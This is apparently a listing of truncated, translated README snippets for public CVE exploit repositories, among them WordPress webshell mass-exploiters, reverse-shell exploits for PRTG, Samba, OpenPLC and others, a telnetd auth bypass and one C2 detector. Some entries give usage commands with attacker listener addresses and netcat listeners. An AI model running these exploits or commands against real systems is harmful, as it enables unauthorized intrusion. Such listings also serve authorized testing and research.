CVE-2025-39401

CVE-2025-39401 WordPress WPAMS 插件 WordPress WPAMS 插件 CVE： CVE-2025-39401 基础评分： 10.0 严重 mojoomla WPAMS 的危险类型文件无限制上传漏洞使攻击者能够向服务器上传 Web shell，从而导致完全沦陷。 影响 WPAMS 版本：从 n/a 至 44.0 2023-08-17。 🚀 脚本概述 脚本名称： CVE-2025-39401.py 该脚本是一个专业的自动化批量利用工具，利用 WPAMS 插件中的文件上传漏洞。 其执行以下操作： 利用多线程快速批量攻击多个 WordPress 目标。...

zyxel-p870hn-hardware-hacking

从裸露 PCB 到 root：通过 UART 硬件破解 ZyXEL P-870HN 两张无标签路由器板的手机照片 → 串口控制台 → 认证绕过 → root shell —— 在我自己的硬件上复现这条真实存在、至今未修补的攻击链 CVE-2025-0890 （隐藏的 supervisor 账户）+ CVE-2024-40891 （CLI 命令注入）。 作者：damik0 · 2026-08-13 · 硬件破解实战记录 📷 PCB 照片 ─▶ 🔬 芯片侦察 ─▶ 🏷️ 型号识别 ─▶ 📍 找到 UART J2 └─▶ 🔌 串口控制台 ─▶ 🚪 隐藏账户 ─▶ ⛓️ 突破 CLI └─▶ 🐚...

CVE-2026-3300

CVE-2026-3300 - Wordpress ⚡ 簡単な使い方 このプロジェクトは、以下のような安全で許可された環境でのみ使用してください。 ローカル仮想マシン Docker コンテナ 隔離されたラボ環境 許可されたペネトレーションテスト環境 セットアップ例: git clone cd プロジェクトは以下のようにPythonを使用します 仮想環境を作成 python -m venv venv 仮想環境を有効化 macOS / Linux source venv/bin/activate Windows Git Bash / WSL source...

CVE-2018-9276

CVE-2018-9276 CVE-2018-9276 PRTG 18.2.39 反弹 Shell（支持 Python3） 依赖项 Impacket（Python3 版本） Netcat Msfvenom 使用方法 git clone https://github.com/A1vinSmith/CVE-2018-9276.git ./exploit.py -i targetIP -p targetPort --lhost hostIP --lport hostPort --user user --password pass 1. 执行漏洞利用需要凭据。尝试默认凭据...

CVE-2017-9544

CVE-2017-9544 Easy Chat Server CVE-2017-9544 の SEH ベースのバッファオーバーフロー用エクスプロイト 以下に基づく: pwntools msfvenom / reversetcp ペイロード ropper x64dbg 脆弱なアプリは https://www.exploit-db.com/exploits/42155 で入手できます。 セットアップ 被害者 IP を 192.168.15.100 に設定し、Easy Chat Server を起動します。 攻撃者 IP を 192.168.15.101 に設定し、python main.py...

CVE-2025-1302_jsonpath-plus_RCE

CVE-2025-1302 JSONPath-Plus RCE PoC PoCスクリプト名: poc.py CVE-2025-1302用の概念実証エクスプロイトスクリプトで、jsonpath-plusライブラリのRCE脆弱性を標的としています。脆弱なサービスエンドポイントに対して実行されると、スクリプトはJSONPathペイロードを介してリモートコード実行をトリガーし、攻撃者へのリバースシェルを確立しようとします。 機能 柔軟なHTTPメソッド : --methodまたは--no-fallbackフラグを使用して、POST 、GET 、またはAUTO...

CVE-2026-24061-PoC-Exploit

CVE-2026-24061 - GNU inetutils-telnetd Authentication Bypass Exploit GNU inetutils-telnetd Edition - CRLF Injection to Authentication Bypass & Instant Root Shell -Overview This exploit leverages CVE-2026-24061 , a critical remote authentication bypass vulnerability in GNU inetutils-telnetd. By...

BerrySentinel

🫐 Berry Sentinel リアルタイムC2（Command & Control）接続の行動検出器 Zero-signature · Bulletproof Collection · Deep Scan · Kill Engine 概要 Berry Sentinelは、システム上のすべてのアクティブなネットワーク接続を監視し、それらを生成するプロセスの振る舞い を分析して悪意のある活動を検出します — アンチウイルスの署名データベースやブロックされたIPリストは使用しません。 リバースシェル、ウェブシェル、RAT、C2ビーコン、およびMeterpreter、Cobalt...

CVE-2025-60787

CVE-2025-60787 - motionEyeにおける認証されたRCE CVE-2025-60787に対するPoCです。これは、motionEyeの認証されたRCE脆弱性であり、影響を受けるすべてのバージョン（0.43.1b4までを含む）を対象としています。 これは、こちらのリポジトリで説明されている脆弱性に対する自動化されたPoCです。クレジットはprabhatverma47に帰属します。 使用方法...

CVE-2026-15410

cve-id ⚡ 简单用法 仅在安全且授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验室环境 授权的渗透测试环境 示例设置： git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS / Linux source venv/bin/activate Windows Git Bash / WSL source venv/Scripts/activate...

aquos-r6-ghostlock

AQUOS R6 GhostLock 临时 root 针对 Sharp AQUOS R6 的设备专用 Linux 5.4 移植版 GhostLock（CVE-2026-43499）。已验证的目标是运行 Android 11 构建版本 S0029 / 01.00.06、内核 5.4.61-qgki 的 SoftBank A101SH（Judau）。 ghostlock54 目标可获取真实的 UID/GID 0，将 SELinux 更改为 permissive，并直接通过现有的 ADB 传输打开交互式 root shell。它不监听 TCP，也不授予完整的 Linux 能力集。 构建 需要...

Langflow-CVE-2025-3248-Multi-target

⚠️ Langflow RCE エクスプロイトスキャナー CVE-2025-3248 このPythonベースのスキャナーは、Langflowインスタンスにおける認証なしのリモートコード実行（RCE） 脆弱性をCVE-2025-3248 を介して自動検出します。これは、/api/v1/validate/codeエンドポイントを悪用して任意のシェルコマンドを実行する概念実証ペイロードを使用します。 🚨 CVEの詳細 CVE : CVE-2025-3248 影響 : 認証なしのリモートコード実行 コンポーネント : Langflow API /api/v1/validate/code...

CVE-2022-22947

コピー元 オリジナル: https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell https://github.com/lucksec/Spring-Cloud-Gateway-CVE-2022-22947...

CVE-2023-4220-RCE

CVE-2023-4220-RCE 概要 Starlabs アドバイザリ 影響を受ける製品: Chamilo , -p --port REMOTE PORT -c --comand リバースシェル用のフラグ -lh/--localhost: 攻撃者のIPアドレス -lp/--localtcat リスナーポート...

CVE-2021-21315

Rust言語で書かれたCVE-2021-21315のエクスプロイトコード 私はRust初心者なので、このコードはRustLangの練習の一環でした はい！！リバースシェルを取得しよう!!!!!!!!!! !教育または研究目的のみ ビルド cargo build 使い方 ./exploit ./exploit http://target.com/api/osinfo?param 172.17.2.1 1234 リバースシェルをキャッチするためのリスナーにはNetcatが必要 nc -nlvp nc -nlvp 1234...

CVE-2007-2447

CVE-2007-2447 Samba 漏洞利用程序 一个针对 Samba smbd 3.0.20-Debian 的 CVE-2007-2447 漏洞的独立 Rust 实现。 漏洞描述 CVE-2007-2447 是 Samba 3.0.0 至 3.0.25rc3 版本中的一个命令注入漏洞。该漏洞存在于 SamrChangePassword 函数中，该函数未能正确清理用户输入，攻击者可以通过在 SMB 认证期间在用户名字段中使用 shell 元字符来执行任意命令。 前提条件 系统已安装 Rust 目标运行存在漏洞的 Samba 版本 目标必须安装有 netcat（通常默认安装） 使用方法...

rwsploit

Oracle Reports rwservlet スキャナー ⚠️ 許可された用途のみ。所有しているシステム、または明示的な書面によるテスト許可を得ているシステムに対してのみこのツールを実行してください。不正使用は違法です。 Oracle Reports Server（rwservlet）に焦点を当てたエクスプロイトスキャナーで、CVE-2012-3152 および CVE-2012-3153 を狙います。影響を受けるのは 11g 未満のバージョンです。単一 IP、CIDR 範囲、またはターゲットリストに対して、検出、LFI ファイル読み取り、SSRF テスト、JSP...

CVE-2020-11108-PoC

CVE-2020-11108-PoC このリポジトリには2つのPoCがあります。cve-2020-11108-rce.py を実行すると、www-data ユーザーとしてシェルが取得できます。root-cve-2020-11108-rce.py を実行すると、シェルを取得し、権限を root に昇格させます。注意: この操作は破壊的です。teleporter.php を上書きする必要があるためです。 詳しい説明/レポートについては、こちらのブログ記事をご覧ください。...

CVE-2021-31630

OpenPLC WebServer v3 - 认证 RCE CVE-2021-31630 此漏洞利用基于 Exploit-DB 上由 Fellipe Oliveira 制作的漏洞利用。 首先，进行身份认证 上传恶意 C 文件 编译它 启动 PLC（发起反向Shell） 停止 PLC（无需运行，反向Shell已发起） └─ python3 customexploit.py --url http://10.10.11.7:8080 --username openplc --password openplc --listenerip 10.10.16.4 --listenerport 8888...

CVE-2025-27590

CVE-2025-27590 - PoCエクスプロイト（マルチパートフォームアップロードを介したコマンドインジェクション） 📌 説明 これはCVE-2025-27590 の概念実証（PoC）エクスプロイトです。この脆弱性は、適切なサニタイゼーションなしでマルチパートファイルアップロードを処理するWebアプリケーションに影響を与えるコマンドインジェクションです。この脆弱性により、リモートの攻撃者が悪意のあるフォームデータペイロードを細工して任意のシェルコマンドを実行できます。 🧠 脆弱性の概要 タイプ : コマンドインジェクション ベクター : HTTP multipart/form-da...